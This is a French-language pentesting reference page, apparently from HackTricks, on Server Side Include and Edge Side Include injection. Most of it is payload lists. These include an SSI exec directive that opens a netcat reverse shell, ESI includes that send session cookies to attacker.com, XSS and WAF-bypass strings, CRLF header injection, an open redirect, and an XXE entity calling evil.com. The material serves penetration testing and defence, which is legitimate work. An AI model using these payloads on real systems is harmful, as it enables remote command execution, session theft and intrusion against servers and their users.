# Injection d'Inclusion Côté Serveur/Inclusion Côté Edge

{{#include ../banners/hacktricks-training.md}}

## Informations de Base sur l'Inclusion Côté Serveur

**(Introduction tirée des** [**docs Apache**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**

SSI (Server Side Includes) sont des directives qui sont **placées dans des pages HTML et évaluées sur le serveur** pendant que les pages sont servies. Elles vous permettent **d'ajouter du contenu généré dynamiquement** à une page HTML existante, sans avoir à servir l'ensemble de la page via un programme CGI ou une autre technologie dynamique.\
Par exemple, vous pourriez placer une directive dans une page HTML existante, comme :

`<!--#echo var="DATE_LOCAL" -->`

Et, lorsque la page est servie, ce fragment sera évalué et remplacé par sa valeur :

`Mardi, 15-Jan-2013 19:28:54 EST`

La décision d'utiliser SSI, et quand faire générer entièrement votre page par un programme, dépend généralement de la quantité de la page qui est statique et de celle qui doit être recalculée chaque fois que la page est servie. SSI est un excellent moyen d'ajouter de petits morceaux d'information, comme l'heure actuelle - montré ci-dessus. Mais si la majorité de votre page est générée au moment où elle est servie, vous devez chercher une autre solution.

Vous pouvez inférer la présence de SSI si l'application web utilise des fichiers avec les extensions **`.shtml`, `.shtm` ou `.stm`**, mais ce n'est pas seulement le cas.

Une expression SSI typique a le format suivant :
```
<!--#directive param="value" -->
```
### Vérifier
```javascript
// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

```
## Inclusion côté serveur

Il y a un problème **de mise en cache des informations ou des applications dynamiques** car une partie du contenu peut avoir **varié** pour la prochaine fois que le contenu est récupéré. C'est ce à quoi **ESI** est utilisé, pour indiquer en utilisant des balises ESI le **contenu dynamique qui doit être généré** avant d'envoyer la version mise en cache.\
Si un **attaquant** est capable de **injecter une balise ESI** à l'intérieur du contenu mis en cache, alors, il pourrait être capable d'**injecter un contenu arbitraire** dans le document avant qu'il ne soit envoyé aux utilisateurs.

### Détection ESI

L'**en-tête** suivant dans une réponse du serveur signifie que le serveur utilise ESI :
```
Surrogate-Control: content="ESI/1.0"
```
Si vous ne pouvez pas trouver cet en-tête, le serveur **pourrait utiliser ESI de toute façon**.\
Une **approche d'exploitation aveugle peut également être utilisée** car une requête devrait arriver au serveur des attaquants :
```javascript
// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>
```
### Exploitation ESI

[GoSecure a créé](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) un tableau pour comprendre les attaques possibles que nous pouvons essayer contre différents logiciels compatibles ESI, en fonction des fonctionnalités prises en charge :

- **Includes** : Prend en charge la directive `<esi:includes>`
- **Vars** : Prend en charge la directive `<esi:vars>`. Utile pour contourner les filtres XSS
- **Cookie** : Les cookies du document sont accessibles au moteur ESI
- **En-têtes en amont requis** : Les applications de substitution ne traiteront pas les déclarations ESI à moins que l'application en amont ne fournisse les en-têtes
- **Liste blanche des hôtes** : Dans ce cas, les inclusions ESI ne sont possibles que depuis des hôtes de serveur autorisés, rendant SSRF, par exemple, seulement possible contre ces hôtes

|         **Logiciel**         | **Includes** | **Vars** | **Cookies** | **En-têtes en amont requis** | **Liste blanche des hôtes** |
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :--------------------------: |
|            Squid3            |     Oui      |   Oui    |     Oui     |              Oui              |            Non              |
|        Varnish Cache         |     Oui      |    Non   |     Non     |              Oui              |            Oui              |
|            Fastly            |     Oui      |    Non   |     Non     |              Non               |            Oui              |
| Akamai ESI Test Server (ETS) |     Oui      |   Oui    |     Oui     |              Non               |            Non              |
|          NodeJS esi          |     Oui      |   Oui    |     Oui     |              Non               |            Non              |
|        NodeJS nodesi         |     Oui      |    Non   |     Non     |              Non               |          Optionnel          |

#### XSS

La directive ESI suivante chargera un fichier arbitraire à l'intérieur de la réponse du serveur
```xml
<esi:include src=http://attacker.com/xss.html>
```
#### Contourner la protection XSS côté client
```xml
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
```
#### Voler un cookie

- Voler un cookie à distance
```xml
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
```
- Voler le cookie HTTP_ONLY avec XSS en le réfléchissant dans la réponse :
```bash
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->

# It's possible to put more complex JS code to steal cookies or perform actions
```
#### Fichier Local Privé

Ne pas confondre cela avec une "Inclusion de Fichier Local" :
```html
<esi:include src="secret.txt">
```
#### CRLF
```html
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
```
#### Redirection Ouverte

Le suivant ajoutera un en-tête `Location` à la réponse
```bash
<!--esi $add_header('Location','http://attacker.com') -->
```
#### Ajouter un en-tête

- Ajouter un en-tête dans la requête forcée
```xml
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
```
- Ajoutez un en-tête dans la réponse (utile pour contourner "Content-Type: text/json" dans une réponse avec XSS)
```bash
<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

# Check the number of url_decode to know how many times you can URL encode the value
```
#### CRLF dans l'en-tête Add (**CVE-2019-2438**)
```xml
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>
```
#### Débogage Akamai

Cela enverra des informations de débogage incluses dans la réponse :
```xml
<esi:debug/>
```
### ESI + XSLT = XXE

Il est possible d'utiliser la syntaxe **`eXtensible Stylesheet Language Transformations (XSLT)`** dans ESI simplement en indiquant la valeur du paramètre **`dca`** comme **`xslt`**. Cela pourrait permettre d'abuser de **XSLT** pour créer et exploiter une vulnérabilité d'entité externe XML (XXE) :
```xml
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```
XSLT fichier :
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
```
Vérifiez la page XSLT :

{{#ref}}
xslt-server-side-injection-extensible-stylesheet-language-transformations.md
{{#endref}}

### Références

- [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)
- [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
- [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)

## Liste de détection de Brute-Force

{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt
{{#endref}}

{{#include ../banners/hacktricks-training.md}}